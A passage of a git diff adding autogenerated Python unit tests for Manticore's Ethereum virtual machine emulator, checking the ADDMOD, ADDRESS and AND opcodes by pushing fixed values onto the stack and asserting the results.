+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [324518553658426726783156020576287L])
+
+    def test_ADDMOD_704(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_705(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [33L])
+
+    def test_ADDMOD_706(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [162259276829213363391578010288144L])
+
+    def test_ADDMOD_707(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [10141204801825835211973625643055L])
+
+    def test_ADDMOD_708(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADDMOD_709(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [64L])
+
+    def test_ADDMOD_710(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [80L])
+
+    def test_ADDMOD_711(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_712(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [324518553658426726783156020576303L])
+
+    def test_ADDMOD_713(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADDMOD_714(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [49L])
+
+    def test_ADDMOD_715(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [162259276829213363391578010288160L])
+
+    def test_ADDMOD_716(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [10141204801825835211973625643071L])
+
+    def test_ADDMOD_717(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [64L])
+
+    def test_ADDMOD_718(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [80L])
+
+    def test_ADDMOD_719(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [96L])
+
+    def test_ADDMOD_720(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADDMOD_721(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [324518553658426726783156020576255L])
+
+    def test_ADDMOD_722(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_ADDMOD_723(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADDMOD_724(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [162259276829213363391578010288112L])
+
+    def test_ADDMOD_725(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [10141204801825835211973625643023L])
+
+    def test_ADDMOD_726(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_ADDMOD_727(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_ADDMOD_728(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_ADDMOD_729(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMADDRESS.py b/tests/EVM/test_EVMADDRESS.py
new file mode 100644
index 0000000..ffa4dc7
--- /dev/null
+++ b/tests/EVM/test_EVMADDRESS.py
@@ -0,0 +1,64 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_ADDRESS(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_ADDRESS_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='0'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [12179180311090857651697373605969025163799437824L])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMAND.py b/tests/EVM/test_EVMAND.py
new file mode 100644
index 0000000..6ae9786
--- /dev/null
+++ b/tests/EVM/test_EVMAND.py
@@ -0,0 +1,2306 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_AND(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_AND_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_AND_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x16'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
